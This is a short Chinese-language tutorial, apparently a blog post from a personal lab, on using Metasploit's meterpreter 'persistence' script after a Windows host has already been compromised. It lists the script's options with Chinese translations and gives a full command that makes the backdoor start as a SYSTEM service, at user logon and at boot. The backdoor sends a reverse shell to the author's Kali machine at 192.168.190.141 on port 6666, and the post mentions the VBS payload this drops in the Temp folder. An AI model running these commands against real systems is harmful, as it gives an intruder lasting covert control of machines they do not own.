msf后门之persistence

在获取得了meterpreter shell后

使用Persistence建立持续性后门

run persistence -h

meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A   自动启动一个匹配的exploit / multi / handler来连接到代理
    -L   如果未使用％TEMP％，则在目标主机中写入有效负载的位置。
    -P   有效负载使用，默认为windows / meterpreter / reverse_tcp。
    -S   作为服务自动启动代理程序（具有SYSTEM权限）
    -T   要使用的备用可执行模板
    -U   用户登录时自动启动代理
    -X   系统引导时自动启动代理程序
    -h   这个帮助菜单
    -i   每次连接尝试之间的时间间隔（秒）
    -p   运行Metasploit的系统正在侦听的端口
    -r   运行Metasploit监听连接的系统的IP

现在来建立一个后门

run persistence -S -U -X -i  -p  -r 192.168.190.141

后门连接到192.168.190.141的6666端口 也就是我的kali的地址

可以看到在这个目录下留下一个后门vbs

C:\DOCUME~\ADMINI~\LOCALS~\Temp\zSqjdE.vbs

该脚本会自动在目标主机上运行，此时将会建立第二个Meterpreter会话。如下所示：

我们可以重启，当用户登录到远程系统时，为我们打开一个Meterpreter会话。

可以看到用户登录后 自动反弹shell

看到以上的输出信息，表示该持久后门已创建成功。